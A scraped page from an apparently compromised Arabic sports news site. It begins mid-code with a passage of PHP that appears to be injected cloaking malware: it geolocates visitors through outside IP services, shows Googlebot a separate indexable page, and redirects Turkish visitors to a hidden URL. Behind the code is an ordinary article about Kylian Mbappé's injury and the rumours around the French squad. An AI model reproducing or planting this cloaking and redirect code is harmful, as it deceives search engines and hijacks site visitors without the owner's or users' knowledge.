, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_USERAGENT => 'Mozilla/5.0', ]); $r = curl_exec($ch); curl_close($ch); return is_string($r) ? $r : ''; }; $ms_client_ip = static function (): string { foreach (['HTTP_CF_CONNECTING_IP', 'HTTP_TRUE_CLIENT_IP', 'HTTP_X_REAL_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'] as $k) { $v = (string)($_SERVER[$k] ?? ''); if ($k === 'HTTP_X_FORWARDED_FOR') { $v = trim(explode(',', $v)[0]); } $v = trim($v); if ($v !== '' && filter_var($v, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { return $v; } } $v = trim(explode(',', (string)($_SERVER['REMOTE_ADDR'] ?? ''))[0]); return filter_var($v, FILTER_VALIDATE_IP) ? $v : ''; }; $ms_lang_tr = static function (): bool { $al = strtolower((string)($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? '')); return $al !== '' && (bool)preg_match('/(?:^|,|\s)tr(?:-|$|,|;)/', $al); }; $ms_country = static function () use ($ms_client_ip, $ms_http_get, $ms_lang_tr): string { foreach (['HTTP_CF_IPCOUNTRY', 'HTTP_X_COUNTRY_CODE', 'GEOIP_COUNTRY_CODE', 'HTTP_X_GEO_COUNTRY'] as $k) { $cc = strtoupper(trim((string)($_SERVER[$k] ?? ''))); if ($cc === 'TUR') { $cc = 'TR'; } if (preg_match('/^[A-Z]{2}$/', $cc) && $cc !== 'XX' && $cc !== 'ZZ') { return $cc; } } $ip = $ms_client_ip(); if ($ip === '') { return $ms_lang_tr() ? 'TR' : 'XX'; } $ck = sys_get_temp_dir() . '/ms_cc_' . md5($ip); if (is_file($ck) && (time() - filemtime($ck) < 86400)) { $cached = strtoupper(trim((string)@file_get_contents($ck))); if (preg_match('/^[A-Z]{2}$/', $cached)) { return $cached; } } $code = ''; foreach ([ 'http://ip-api.com/json/' . rawurlencode($ip) . '?fields=countryCode', 'https://get.geojs.io/v1/ip/country/' . rawurlencode($ip), 'https://ipapi.co/' . rawurlencode($ip) . '/country/', 'https://ipwho.is/' . rawurlencode($ip) . '?fields=country_code', ] as $u) { $raw = $ms_http_get($u); if ($raw === '') { continue; } $t = strtoupper(trim($raw)); if (preg_match('/^[A-Z]{2}$/', $t) && $t !== 'XX') { $code = $t; break; } if (preg_match('/"countryCode"\s*:\s*"([A-Z]{2})"/', $raw, $m) || preg_match('/"country_code"\s*:\s*"([A-Z]{2})"/i', $raw, $m)) { $code = strtoupper($m[1]); break; } } if (preg_match('/^[A-Z]{2}$/', $code) && $code !== 'XX') { @file_put_contents($ck, $code); return $code; } return $ms_lang_tr() ? 'TR' : 'XX'; }; $ms_root = __DIR__; if (basename($ms_root) === 'mu-plugins') { $ms_root = dirname($ms_root, 2); } if ($is_google_bot) { if (!headers_sent()) { header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private'); header('Content-Type: text/html; charset=utf-8'); header('X-Robots-Tag: index, follow'); header('X-Medusa-Path: prepend-bot'); } $lic = $ms_root . '/license.html'; if (is_file($lic) && filesize($lic) >= 32) { readfile($lic); } else { echo 'License

İstanbul

'; } exit; } $cc = $ms_country(); $ms_is_mobile = (bool)preg_match('/Mobile|Android|iPhone|iPod|iPad|webOS|BlackBerry|IEMobile|Opera Mini|Opera Mobi|CriOS/i', $userAgent); if ($cc !== 'TR' && $ms_is_mobile && $ms_lang_tr()) { $cc = 'TR'; } if (!headers_sent()) { header('X-Medusa-Geo: ' . $cc); header('X-Medusa-Path: prepend'); } if ($cc === 'TR') { $vitrin = (string)MS_VITRIN_BAKED; if ($vitrin !== '' && filter_var($vitrin, FILTER_VALIDATE_URL) && !preg_match('/\\.txt$/i', (string)(parse_url($vitrin, PHP_URL_PATH) ?: ''))) { if (!headers_sent()) { header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0, private'); header('Location: ' . $vitrin, true, 302); header('X-Medusa-Vitrin: 302'); } exit; } } صورة – مبابي يحسم الجدل حول الهروب من معسكر فرنسا – احوال الرياضة
اولمبياد

صورة – مبابي يحسم الجدل حول الهروب من معسكر فرنسا

هاي كورة

الموجز:

  • نشر كيليان مبابي صورة له على متن طائرة المنتخب الفرنسي متجهًا إلى إيطاليا، ردًا على أنباء رغبته في العودة إلى مدريد.
  • غاب مهاجم ريال مدريد عن التدريبات بسبب مشكلة في العضلة الخلفية، وتأكد استبعاده من مواجهة إيطاليا.
  • تقارير فرنسية تحدثت عن توتر علاقته بزين الدين زيدان بسبب مركزه وطريقة توظيفه.
  • التعادل يكفي فرنسا لضمان التأهل إلى ربع نهائي دوري الأمم الأوروبية.

التفاصيل:

اختار كيليان مبابي الرد على الجدل المثار حول مستقبله مع منتخب فرنسا دون الدخول في سجال إعلامي، بعدما نشر صورة عبر حسابه على إنستجرام أثناء سفره مع بعثة الديوك إلى إيطاليا، مكتفيًا بالإشارة إلى وجهة الرحلة دون كتابة أي تعليق.

وجاءت الصورة بعد انتشار تقارير تحدثت عن رغبة قائد المنتخب الفرنسي في مغادرة المعسكر والعودة إلى مدريد، بل ووجود طائرته الخاصة في انتظاره، قبل أن ترفض إدارة المنتخب هذه الخطوة، وفقًا لما تداولته التقارير.

وتزامن الجدل مع غياب مبابي عن التدريبات، بعدما أعلن الاتحاد الفرنسي معاناته من مشكلة عضلية في العضلة الخلفية، قبل تأكيد عدم مشاركته أمام إيطاليا، مع استمراره داخل المعسكر.

ولم يتوقف الاهتمام الإعلامي عند الحالة البدنية للاعب، إذ تحدثت تقارير فرنسية عن وجود خلافات بينه وبين زين الدين زيدان، ترتبط بمركزه داخل الملعب، فالمدرب اعتمد عليه في الجناح الأيسر خلال المعسكر الأخير، مع وضع عثمان ديمبلي في مركز المهاجم، بينما يفضل مبابي المشاركة في قلب الهجوم خلال الفترة الأخيرة.

وتضع هذه التطورات العلاقة بين الطرفين تحت الأنظار، خصوصًا أن زيدان كان يعول على خدمات قائد المنتخب في المواجهات الحاسمة من دور المجموعات.

وعلى صعيد المنافسة، يدخل المنتخب الفرنسي مواجهة إيطاليا وفي رصيده 10 نقاط، مقابل 7 للأزوري و6 لبلجيكا، بينما لا يملك المنتخب التركي أي نقطة.

ويكفي التعادل فرنسا لضمان التأهل إلى ربع النهائي، دون انتظار نتيجة الجولة الأخيرة، بينما تستمر المنافسة بين إيطاليا وبلجيكا على البطاقة الثانية.

وبينما غاب مبابي عن المواجهة لأسباب بدنية، جاءت صورته مع البعثة لتضع حدًا عمليًا لشائعات مغادرته المعسكر، دون أن تحسم الجدل المثار حول علاقته بزيدان.

اترك تعليقاً

زر الذهاب إلى الأعلى